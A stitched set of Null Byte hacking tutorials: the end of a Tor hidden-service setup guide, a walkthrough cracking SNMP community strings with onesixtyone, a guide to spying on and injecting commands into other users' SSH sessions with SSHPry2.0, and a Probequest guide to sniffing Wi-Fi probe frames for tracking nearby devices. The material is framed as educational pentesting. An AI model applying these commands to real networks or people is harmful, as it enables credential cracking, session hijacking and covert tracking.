████████████████████████████████████████████████████████████████ ████████████████████████████████████████████████████████████████ ████████████████████████████████████████████████████████████████ ████████████████████████████████████████████████████████████████ ████████████████████████████████████████████████████████████████ ████████████████████████████████████████████████████████████████ ████████████████████████████████████████████████████████████████ ████████████████████████████████████████████████████████████████ ████████████████████████████████████████████████████████████████ ████████████████████████████████████████████████████████████████ ████████████████████████████████████████████████████████████████ ████████████████████████████████████████████████ -----END RSA PRIVATE KEY----- ^COnce the program has generated an address you like, we can use it for our hidden service.Step 8: Add the Onion Address to the ServiceFirst, we should stop our Tor service from running. We can switch to the window wheresudo torwas run and pressControl-C.Don't Miss:How to Use Private Encrypted Messaging Over TorAfter that, we'll want to replace our hidden service private key with the one generated by Eschalot. Move back to the /var/lib/tor/hidden_service/ directory usingcdas seen below.~$ sudo cd /var/lib/tor/hidden_service [sudo] password for kali: root@kali:/home/kali# cd /var/lib/tor/hidden_service root@kali:/var/lib/tor/hidden_service#Within this directory, we'll want to remove the hostname file, as it's going to be replaced by the hostname generated by our custom private key. We can do this using thermcommand in the terminal, as follows.root@kali:/var/lib/tor/hidden_service# rm hostnameNext, copy the RSA Private Key generated by Eschalot, beginning with "-----BEGIN RSA PRIVATE KEY-----" and ending with "-----END RSA PRIVATE KEY-----." This key can replace our automatically generated private key. We can replace it directly usingcatwith the following command.root@kali:/var/lib/tor/hidden_service# cat > private_keyAfter running this command, right-click and paste the key into the command line window, then pressControl-Dto write changes to the file. To ensure that the file has the correct private key, we can usecatagain to view the file as follows.root@kali:/var/lib/tor/hidden_service# cat private_keyAfter updating the private key, we can start Tor again withsudo tor, and check that a new hostname file has been generated by runningls. If a hostname file is in the folder, we can check that it matches our desired address with the following command.root@kali:/var/lib/tor/hidden_service# ls hostname private_key root@kali:/var/lib/tor/hidden_service# cat hostname nullb3pxvxj5rpjd.onionIf the hostname matches our desired choice, we can check in Tor Browser to make sure that it resolves to our site. If the new onion address leads to your site, you've successfully hosted a hidden service and configured a custom address!Now That You Know Tor Hidden ServicesThis process can be replicated for almost any standard website or service, and the process executed on a VPS, virtual machine, or even aRaspberry Pi.A proper Tor service should be hardened and supported by more than just Python's server module, but the possibilities when combined with Nginx or other server technologies are as vast as the internet itself, or perhapseven deeper.Thanks for reading! If you have any questions, you can ask them here in the comments or on [email protected]'t Miss:The Top 80+ Websites Available in the Tor NetworkWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by TAKHION/Null ByteRelatedHow To:Hack TOR Hidden ServicesHow To:The Top 80+ Websites Available in the Tor NetworkHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHow To:Access the Dark Web While Staying Anonymous with TorNews:Use ProtonMail More Securely Through the Tor NetworkHow To:Is Tor Broken? How the NSA Is Working to De-Anonymize You When Browsing the Deep WebHow To:With the Silk Road Bust, the Online Black Market Already Has a New HomeHow To:Detect Misconfigurations in 'Anonymous' Dark Web Sites with OnionScanHow To:Check if Your Significant Other Used Ashley Madison to Cheat on YouHacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHow To:Access Deep WebSPLOIT:How to Make a Proxy Server in PythonHow To:Use Private Encrypted Messaging Over TorHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHow To:Hide @iCloud, @Me & Custom Aliases from Your Mail App's 'From' Field on Your iPhoneHack Like a Pro:How to Keep Your Internet Traffic Private from AnyoneHow To:Secure Your Identity & Become Anonymous Online in 2019How To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersTor vs. I2P:The Great Onion DebateHow To:Use I2P to Host and Share Your Secret Goods on the Dark Web—AnonymouslyHow To:Become Anonymous on the Internet Using TorNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:Use Tortunnel to Quickly Encrypt Internet TrafficNews:Anonymity Networks. Don't use one, use all of them!Anonymous Browsing in a Click:Add a Tor Toggle Button to ChromeHow To:Run a Free Web Server From Home on Windows or Linux with ApacheNews:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep WebHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Run an FTP Server from Home with LinuxHacker Fundamentals:A Gentle Introduction to How IP Addresses WorkNews:Feds arrest several in connection to Drugs on Tor networks 'Silk Road'
Hack Like a Pro: How to Crack Private & Public SNMP Passwords Using Onesixtyone « Null Byte :: WonderHowTo
Welcome back, my novice hackers!In a recent tutorial, I showedhow the SNMP protocol can be a gold mineof information forreconnaissanceon a potential target. If you haven't already, I strongly suggest that youread itbefore progressing here, as little of this will make much sense without that background.Cracking SNMP Passwords with OnesixtyoneThe MIB database, created by SNMP, contains extensive information on every device on the network. While SNMPv1 is very insecure and SNMPv3 is very secure, many companies still use SNMPv1. As such, the community public string (password) that provides access to SNMP and its MIB database is susceptible to cracking. Once the hacker has the SNMP community public string, they have access to all the info available in the SNMP MIB.Better yet, if we can crack theprivatecommunity string (password), we can change the settings on any network device—even take it off line. We could then potentially change the configuration settings on switches and routers to our advantage.In this tutorial, we will be cracking the SNMPv1 community string (password) with one of the best SNMP cracking tools,onesixtyone(SNMP runs on port 161, hence its name).Step 1: Find OnesixtyoneOnesixtyone—like so many of the best hacking tools—is built intoBackTrack, so no need to download and install if you're running BackTrack. We can find onesixtyone by going toBackTrack->Information Gathering->Network Analysis->SNMPand thenonesixtyone, as shown in the screenshot below.Image viawonderhowto.comStep 2: Open OnesixtyoneWhen we click on onesixtyone, we will be greeted with a screenshot like that below.Notice in the third line that the basic syntax for usage of onesixtyone.onesixtyone (options) <host> <community>Where:hostis the IP address of the system we are targetingcommunityis either public or privateLike any password-cracking software (that is not using brute-force), it's only as good as its wordlist. Onesixtyone comes with a built-in wordlist of commonly used passwords on SNMP, but if your password isn't in the list, you can use any word list you want.Very often, if a sysadmin changes the SNMP community string, they will change it to something simple like thecompanyname-publicorcompanyname-private. It's always worth trying these or similar combinations before attempting a password crack.Step 3: Take It Out for SpinNow that we understand the basics of how onesixtyone works, let try it out../onesixtyone -c dict.txt 192.168.1.119Now, all we need to do is hit enter and let onesixtyone do its job!When using the built-in wordlist dict.txt, onesixtyone finishes its work in short order. Obviously, with longer word lists, this process can be more time consuming. To use another word list, simply replace the dict.txt with the full path to the file, such as:./onesixtyone -c /root/anotherwordlist 192.168.1119 publicAs you can see, onesixtyone was able to find the both the public and private community strings. The network administrator left both strings at their default values, which is common.Other possible sources for potential word lists can be foundhere, among other places on the web, and some are as big as 50g!Keep coming back for more adventures inHackerland!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePassword keyimage via ShutterstockRelatedHack Like a Pro:How to Exploit SNMP for ReconnaissanceNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)Hack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)How To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:How to Hack Facebook (Facebook Password Extractor)Hack Like a Pro:How to Crack User Passwords in a Linux SystemHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:Hack LAN passwords with EttercapHow To:You Can Easily Hack Instagram for a Crazy Amount of Likes (But You Totally Shouldn't)News:8 Tips for Creating Strong, Unbreakable PasswordsHack Like a Pro:How to Crack Passwords, Part 4 (Creating a Custom Wordlist with Crunch)Advice from a Real Hacker:How to Create Stronger PasswordsHow To:Recover Passwords for Windows PCs Using OphcrackHow To:Creating Unique and Safe Passwords, Part 1 Using WordlistsHack Like a Pro:How to Crack Passwords, Part 5 (Creating a Custom Wordlist with CeWL)Hack Like an Elite:Batch Scripting for Malicious Purposes: PART 4 (Final) (Protection Using Batch)How to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:How Hackers Take Your Encrypted Passwords & Crack ThemMastering Security, Part 1:How to Manage and Create Strong PasswordsNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingNews:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:GPU Accelerate Cracking Passwords with HashcatRainbow Tables:How to Create & Use Them to Crack PasswordsNews:Should district be allowed to demand middle-schooler's Facebook password?Hide Your Secrets:How to Password-Lock a Folder in Windows 7 with No Additional SoftwareHow To:Hack Mac OS X Lion PasswordsHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Recover WinRAR and Zip PasswordsGoodnight Byte:Coding a Web-Based Password Cracker in PythonHow To:Recover a Windows Password with OphcrackHow To:Create Strong, Safe PasswordsNews:Understanding Modern Cryptography: Public KeysCommunity Byte:Coding a Web-Based Password Cracker in PythonHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:The Official Google+ Insider's Guide IndexGoodnight Byte:HackThisSite, Realistic 5 - Real Hacking Simulations
How to Spy on SSH Sessions with SSHPry2.0 « Null Byte :: WonderHowTo
SSH, or the secure shell, is a way of controlling a computer remotely from a command-line interface. While the information exchanged in the SSH session is encrypted, it's easy to spy on an SSH session if you have access to the computer that's being logged in to. Using a tool called SSHPry, we can spy on and inject commands into the SSH sessions of any other user logged in to on the same machine.For remote access needs like updating, running command-line tools, or other sorts of administrative maintenance, SSH has been the go-to for hackers and IT professionals alike. While SSH is an excellent way of accessing a device remotely over the network, users should assume no such protection when logging into a shared computer.Don't Miss:Track a Target Using Canary Token Tracking LinksSSH Isn't So Secure on a Shared MachineWhile SSH is secure when used across a network, the same protection does not apply if you're logged into the same machine that an attacker has access to. Everything you type is visible to anyone who can access the machine either locally or remotely, making it easy for an attacker to either silently observe everything you do or inject their own commands.The tool for spying on SSH sessions is called SSHPry2.0, and it first appeared during a CTF in which two players were both logged into the same Ubuntu computer via SSH. Each player was trying to kick the other one out and would identify the SSH process number of the other player and kick them out by killing process ID. While this worked, you couldn't see what your opponent is doing, and it gave you a pretty high chance of accidentally killing your own process and kicking yourself out.SSHPry2.0 allows a hacker to identify all current SSH sessions and then casually drop in on any of them like it's a group chat. With SSHPry2.0, it's easier to just type "exit" into any SSH session you don't want running, as it will instantly disconnect the user.Don't Miss:Use SpiderFoot for OSINT GatheringWhat You'll NeedTo follow along, you'll need to have at least two computers connected to the same network, with one running an SSH server for you to log in to. I recommend using Kali or Ubuntu as the target computer.You'll also need to have Python installed on the computer you want to spy on SSH connections to. After that, you'll need to log in via SSH to your target computer twice, so that you can use one session to spy on the other.Don't Miss:Use the Buscador OSINT VM for Conducting Online InvestigationsStep 1: Log in to Your Linux Computer RemotelyFirst, we're going to open an SSH connection to our remote computer. Make sure SSH is working by running the following command.~$ sudo service ssh statusYou should see some output like below if SSH is working properly.● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled) Active: active (running) since Sun 2019-07-28 12:47:07 PDT; 1 weeks 0 days ago Main PID: 980 (sshd) Tasks: 1 (limit: 4915) CGroup: /system.slice/ssh.service └─980 /usr/sbin/sshd -DIf SSH is up and running, get the IP address of your target computer by typingifconfigor running anarp-scanfrom the attacker's computer.Once you have the IP address of the computer you want to log in to, open a terminal window and type the following to log in, substituting the IP address of your device.~$ ssh [email protected] default password to both Ubuntu and Kali should be "toor" so give that a try first. Otherwise, log in with whatever password you set on the target device.Step 2: Start a Second SSH SessionNow, it's time to start a second SSH session. In a real-world scenario, this could be another employee or an attacker exploiting an SSH vulnerability. In a new terminal window, log in again with the samessh [email protected], making sure you substitute in the IP address of the target.Once you've got both sessions up and running, you have everything you need for one session to spy on the other.Don't Miss:Use Facial Recognition for OSINT on Individuals & CompaniesStep 3: Download SSHPryTo start spying on the other session, download SSHPry.20 by running the following command on the target computer.~$ git clone https://github.com/nopernik/SSHPry2.0.gitFrom there, typecd SSHPry2.0to go to the newly downloaded SSHpry directory.Now, we can run the ./sshpry2.py with Python2 to get a list of available commands.~$ sudo python ./sshpry2.py [sudo] password for toor: SSHPry2 SSH-TTY control by @nopernik 2017 Usage: sshpry2.py [OPTIONS] Args: --auto # Lazy mode, auto-attach to first found session --list # List available SSH Sessions --tty /dev/pts/XX # Point SSHPry to specific TTY --raw # Record and Play raw term output, no timing. --replay <file> # Replace previously recorded session. --speed 4 # Replay speed multiplier (Default: 4). ----- root privileges required! -----Now that SSHPry is ready to go, we'll move on to detecting our target session.Step 4: Detect Other Terminal SessionsLet's try detecting the other SSH session we have logged in. Run the ./sshpry2.py script again with Python2, but this time add the--listflag to show a list of active SSH sessions.~$ sudo python ./sshpry2.py --list SSHPry2 SSH-TTY control by @nopernik 2017 [+] Getting available ssh connections... [+] Found active SSH connections: PID: 8960 | TTY: /dev/pts/3 (toor) [!] Choose yours with "--tty TTY" switch toor@toor:~/SSHPry2.0$Here, we've detected a session actively logged in that's not our own! Now, we can drop in on this active session and see what's going on.Step 5: Drop in on Another Users Terminal SessionNow that we've verified that there is an active session, we can connect to it using the "auto" flag. Run the command below to try connecting automatically.~$ sudo python ./sshpry2.py --autoIf there is another active connection, you should see a result like below. In the picture, the left side is the attacker, and the right side is the target logged in to the same computer.Everything the target does is instantly mirrored to the attacker's screen. Of course, the reverse is true as well, so the attacker on the left can inject commands into the target on the right's SSH session as though their keyboard was attached to the target's computer.To test out the connection, try typing something in either one of the logged-in sessions. They should mirror each other exactly.SSHPry Works for Post-Exploitation or Detecting IntrusionsThere are a lot of useful applications for being able to slip into another active SSH session. One might be merely losing access to your own session due to a computer crashing or freezing, and wanting to pick up where you left off. Another might be wanting to check to ensure that no one besides you is logged into your computer via SSH. Finally, for pentesters looking for a way to escalate their post-exploitation kit, a little SSH espionage could go a long way to discovering new attack surfaces.I hope you enjoyed this guide to dropping in on other user's SSH sessions with SSHPry.20! If you have any questions about this tutorial on SSH spying, leave a comment below, and feel free to reach me on [email protected]'t Miss:Stealing Wi-Fi Passwords with an Evil Twin AttackWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Kody/Null ByteRelatedHow To:Run Your Favorite Graphical X Applications Over SSHHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHow To:Enable the New Native SSH Client on Windows 10Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckySPLOIT:How to Make an SSH Brute-Forcer in PythonHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesRasberry Pi:Connecting on ComputerSSH the World:Mac, Linux, Windows, iDevices and Android.How To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHow To:Turn Your iPhone into a Spy Camera Using Your Apple WatchHow To:Create a Native SSH Server on Your Windows 10 SystemHow To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesHow To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)Android for Hackers:How to Turn an Android Phone into a Hacking Device Without RootHow To:SSH into a jailbroken iPod Touch or iPhoneHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Play Spy!News:House Approves Amendment To Limit Pentagon Drones Spying On AmericansNews:Vincent Laforet HDDSLR Session OnlineNews:Terror suspect's eye color? Flying cameras to spy during OlympicsNews:Richard Stallman's RiderThe Ultimate DIY Spy Drone:Start Building Your Own UAV for Under $800
How to Track Wi-Fi Devices & Connect to Them Using Probequest « Null Byte :: WonderHowTo
Wi-Fi devices are continually emitting "probe frames," calling out for nearby Wi-Fi networks to connect to. Beyond being a privacy risk, probe frames can also be used to track or take over the data connection of nearby devices. We'll explain how to see nearby devices emitting probe frames usingProbequestand what can be done with this information.In order to function, Wi-Fi devices are always doing one of two things to try to discover available networks; They either send out beacon frames or probe frames.How Beacon Frames WorkWi-Fi access points (APs) emit packets called beacon frames which contain information about the access point they are advertising. This information allows nearby devices to be aware that the access point exists and to decide whether or not the network has been connected to before. If the network is recognized by a device, the device will attempt to connect to the network.By opening a beacon frame inWireshark, we can see that they contain information about the device that transmitted the packet, the Wi-Fi network the beacon frame is advertising, and information about what channel the AP is operating on and what speeds that the network supports. This is how your phone and laptop can offer you a list of networks nearby seemingly out of thin air, as your device will detect these packets and provide the user the ability to connect if they want to.In Wireshark, a beacon frame looks like this:How Probe Frames WorkThe second way a Wi-Fi connection happens is when your device attempts to find a nearby network to connect to by sending out a kind of packet called a probe frame.Probe frames function in almost the opposite way of beacon frames. The client device will send out packets searching for Wi-Fi networks to which it has recently been connected. This allows you to quickly and seamlessly reconnect to networks like your home or work network if you are disconnected or momentarily wander out of the coverage of the network.In Wireshark, we can look at a probe frame to discover information about the device sending the packet, as well as the name and channel number of the access point it is calling for. You can see the following probe frames transmitted on a subway train:Devices like laptops and smartphones will send out probe frames on all channels even when the Wi-Fi is turned off. This is because Wi-Fi-assisted geolocation is turned on by default and is not affected by the Wi-Fi connection option being turned off. So, in general, turning off your smartphone's Wi-Fi alone will not prevent the device from sending probe frames.What Probe Frames Can ShowThis practice has attracted attention from security researchers like Mathy Vanhoef, who showed that probe frames can be used to track users with a high degree of precision and that even attempts to prevent this (like randomizing the MAC address used in probe frames sent by client devices) is not very useful in preventing tracking. Mathy's work has uncovered many ways of reading into the information contained in probe frames, including multiple ways of revealing a nearby device's real MAC address.MAC address randomization is often done in ways that are not consistent or genuinely random enough to be effective, including sending the device's real MAC address in response to any beacon frame the device recognized, including ESSID's like "Google Starbucks." This means most people walking by a coffee shop with free Wi-Fi they've used before are momentarily de-cloaked while they are within range.Don't Miss:Build a Pumpkin Pi — The Rogue AP & MITM FrameworkAside from bad MAC address randomization, the information elements contained in probe frames include information that is often enough to create a fingerprint for tracking a device. This is because many devices do not follow the Wi-Fi standard exactly and arrange their elements slightly differently. The elements can be in different order or may contain some vendor-specific information.Because the data in the information elements contained in the probe frame, as well as the incremental sequence number of the packets being sent, can be used to zero in on specific devices, probe frames provide arguably the cheapest way to automatically spy on targets both from a distance and up close. By using tools likeWigle Wi-Fi, we can also look for the physical address a target device has been to recently by inputting the ESSID we see in probe frames into the search to see if we can find a matching access point in our area.Don't Miss:Wardrive on an Android Phone to Map Vulnerable NetworksTracking Wi-Fi Devices via Probe FramesUsing probe frames and the ability to decloak or track users, we can learn a lot of information. Besides being able to detect intruders in areas they're not supposed to be, we're also able to monitor human activity and keep track of when people come and go. We can see what networks people have permission to connect to, and with multiple Wi-Fi sensors, we can track their movement in real time. Major retailers use this practice to monitor customer traffic flow through stores, using it to sell the retail space customers spend the most time to manufacturers at a premium.Because probe frames are essentially a device sending an identifiable ping at regular intervals, you can track devices with adirectional antennawith high precision. Because Wi-Fi has a line of sight range, a directional antenna can observe activity in a location a mile away to determine who is home and what devices are present without being anywhere near the area.Combined with a system like a license plate or facial recognition scanner, probe frames could allow a hacker to tie your cell phone to your face or vehicle just by setting up a camera and a directional antenna.Don't Miss:Use Kismet to Watch Wi-Fi User Activity Through WallsThe ability to track a target via their smartphone or laptop allows for hackers to design attacks that act intelligently, reacting to the presence of a target's devices by performing a malicious action likejammingone person's machine from being able to join nearby networks. Also, an attacker can use the information contained in probe frames to construct an attack to take over the data connection on a target's device.Taking Over Data Connections Using Observed ESSID'sBy listening in on probe frames, an attacker can attempt to take over the data connection of the target device by taking advantage of the information contained in probe frames. While many devices will no longer put the ESSID of the network they're looking for into their probe frames, there is a sizable percentage that either still does all the time or will under certain circumstances.What You'll Need for This GuideTo get started using Probequest, you'll need to have anetwork adapterthat can be put into monitor mode. This will allow you to hear transmissions from channels and networks other than the one your device is trying to connect to. If your laptop's card isn't compatible, you can check outour list of compatible network adapters.More Info:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2018Probequest installs with pip, so you'll need to have Python installed as well. If you're running Kali Linux, make sure to update and upgrade your system before starting by typing the following into a terminal window.apt update apt upgradeStep 1: Install ProbequestInstallation of Probequest is very straightforward. In a new terminal window, type the following to install Probequest. If you get an error saying you don't have pip3, you can install it by typingapt install python3-pipinto the terminal window, then try the command below again.sudo pip3 install --upgrade probequest Collecting probequest Downloading https://files.pythonhosted.org/packages/93/6f/aaaf91f35eb7082c03e17a543df0646ae71620b6a579d40aef19b6d09aea/probequest-0.6.1.tar.gz Collecting argparse>=1.4.0 (from probequest) Downloading https://files.pythonhosted.org/packages/f2/94/3af39d34be01a24a6e65433d19e107099374224905f1e0cc6bbe1fd22a2f/argparse-1.4.0-py2.py3-none-any.whl Collecting netaddr>=0.7.19 (from probequest) Downloading https://files.pythonhosted.org/packages/ba/97/ce14451a9fd7bdb5a397abf99b24a1a6bb7a1a440b019bebd2e9a0dbec74/netaddr-0.7.19-py2.py3-none-any.whl (1.6MB) 100% |████████████████████████████████| 1.6MB 718kB/s Collecting scapy>=2.4.0 (from probequest) Downloading https://files.pythonhosted.org/packages/68/01/b9943984447e7ea6f8948e90c1729b78161c2bb3eef908430638ec3f7296/scapy-2.4.0.tar.gz (3.1MB) 100% |████████████████████████████████| 3.1MB 468kB/s Requirement already up-to-date: urwid>=2.0.1 in /usr/lib/python3/dist-packages (from probequest) Building wheels for collected packages: probequest, scapy Running setup.py bdist_wheel for probequest ... done Stored in directory: /root/.cache/pip/wheels/0e/8a/6e/39dc49dd1f36136060c4b65edd8e6b33350498ca742f113073 Running setup.py bdist_wheel for scapy ... done Stored in directory: /root/.cache/pip/wheels/cf/03/88/296bf69fee1f9ec7a87e122da52253b65f3067f6ea8719b473 Successfully built probequest scapy Installing collected packages: argparse, netaddr, scapy, probequest Successfully installed argparse-1.4.0 netaddr-0.7.19 probequest-0.6.1 scapy-2.4.0You can also try installing the program fromGitHubwith the following commands.git clone https://github.com/SkypLabs/probequest.git cd probequest sudo pip3 install --upgradeStep 2: Put Adapter into Monitor ModeNext, we'll need to locate and put ourwireless adapterinto monitor mode. To do this, we'll open a terminal window and useifconfigto give you the name of the network adapters that are connected. In Kali Linux, yours should be something like "wlan0."ifconfigWith the adapter name known, we can then useAirmon-ng, making the final command to typeairmon-ng start wlan0to start the adapter in monitor mode. This will also change the name of the adapter, so runifconfigagain to check the new name. It should be something like "wlan0mon" in Kali.airmon-ng start wlan0 Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run 'airmon-ng check kill' PID Name 508 NetworkManager 607 wpa_supplicant 8250 dhclient PHY Interface Driver Chipset phy0 wlan0 ath9k Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01) (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0)Step 3: Observe Nearby DevicesOnce Probequest is installed and our card is in monitor mode, we can typeprobequestin a terminal window to see the primary commands.probequest usage: probequest [-h] [--debug] -i INTERFACE [--ignore-case] [--mode {RAW,TUI}] [-o OUTPUT] [--version] [-e ESSID [ESSID ...] | -r REGEX] [--exclude EXCLUDE [EXCLUDE ...] | -s STATION [STATION ...]]The most basic command we can pass to Probequest to start seeing probe frames is as follows:probequest -i wlan0monWith this simple command, Probequest will start listening in on the current channel. As you'll notice in the output, the information is also checked against a definition list to determine the manufacturer of the devices transmitting nearby.[*] Start sniffing probe requests... Mon, 23 Jul 2018 04:06:38 PDT - xxxxxxxxxxxxxxxxx (Onkyo Corporation) -> ATT5qEg4lg Mon, 23 Jul 2018 04:06:38 PDT - xxxxxxxxxxxxxxxxx (Onkyo Corporation) -> ATT5qEg4lg Mon, 23 Jul 2018 04:06:39 PDT - xxxxxxxxxxxxxxxxx (Apple, Inc.) -> CrossCamp.us StaffBased on the information we see, the identity of systems operating nearby should become clear. Expect to see brands that are printers, cell phones, IoT devices like Sonos andNest Cams, and other nearby devices.[*] Start sniffing probe requests... Mon, 23 Jul 2018 04:06:38 PDT - xxxxxxxxxxxxxxxxx (Onkyo Corporation) -> ATT5qEg4lg Mon, 23 Jul 2018 04:06:38 PDT - xxxxxxxxxxxxxxxxx (Onkyo Corporation) -> ATT5qEg4lg Mon, 23 Jul 2018 04:06:39 PDT - xxxxxxxxxxxxxxxxx (Apple, Inc.) -> CrossCamp.us Staff Mon, 23 Jul 2018 04:06:44 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:06:44 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:06:49 PDT - xxxxxxxxxxxxxxxxx (Nest Labs Inc.) -> CrossCamp.us Staff Mon, 23 Jul 2018 04:06:49 PDT - xxxxxxxxxxxxxxxxx (Nest Labs Inc.) -> CrossCamp.us Staff Mon, 23 Jul 2018 04:06:49 PDT - xxxxxxxxxxxxxxxxx (Nest Labs Inc.) -> CrossCamp.us Staff Mon, 23 Jul 2018 04:06:49 PDT - xxxxxxxxxxxxxxxxx (Nest Labs Inc.) -> CrossCamp.us Staff Mon, 23 Jul 2018 04:06:50 PDT - xxxxxxxxxxxxxxxxx (AzureWave Technology Inc.) -> WILDKATT Mon, 23 Jul 2018 04:06:50 PDT - xxxxxxxxxxxxxxxxx (AzureWave Technology Inc.) -> WILDKATT Mon, 23 Jul 2018 04:06:50 PDT - xxxxxxxxxxxxxxxxx (AzureWave Technology Inc.) -> WIFIBBA825 Mon, 23 Jul 2018 04:06:50 PDT - xxxxxxxxxxxxxxxxx (AzureWave Technology Inc.) -> WIFIBBA825 Mon, 23 Jul 2018 04:06:50 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:06:50 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:06:56 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:06:56 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:06:59 PDT - xxxxxxxxxxxxxxxxx (Onkyo Corporation) -> ATT5qEg4lg Mon, 23 Jul 2018 04:06:59 PDT - xxxxxxxxxxxxxxxxx (Onkyo Corporation) -> ATT5qEg4lg Mon, 23 Jul 2018 04:07:02 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:07:02 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:07:15 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:07:15 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:07:18 PDT - xxxxxxxxxxxxxxxxx (Apple, Inc.) -> CrossCamp.us Staff Mon, 23 Jul 2018 04:07:19 PDT - xxxxxxxxxxxxxxxxx (Onkyo Corporation) -> ATT5qEg4lg Mon, 23 Jul 2018 04:07:19 PDT - xxxxxxxxxxxxxxxxx (Onkyo Corporation) -> ATT5qEg4lgIf we want to be more specific, we can also use Probequest's-eand-sflags to exclude or only include devices calling for a particular network, respectively.Step 4: Cast a Wider NetSometimes, devices operating on another channel than the one we are scanning on will be missed by Probequest running by itself. This isn't desirable, so we can use another program to set our wireless card to hop around frequently and increase our chances of stumbling upon new devices nearby.While running Probequest, open a new terminal window. To cause our network card to begin scanning, type the followingAirodump-ngcommand.airodump-ng wlan0monThis will open Airodump-ng and start switching the card between networks. You can minimize this window, then watch new devices appear in the Probequest window. As soon as I did this in our test setup, new IoT devices began appearing.Mon, 23 Jul 2018 04:16:36 PDT - xxxxxxxxxxxxxxxxx (Sonos, Inc.) -> Sonos_dAQ4JQp4duS2hT8gqvKEQehK9c Mon, 23 Jul 2018 04:16:38 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:16:38 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:16:43 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:16:50 PDT 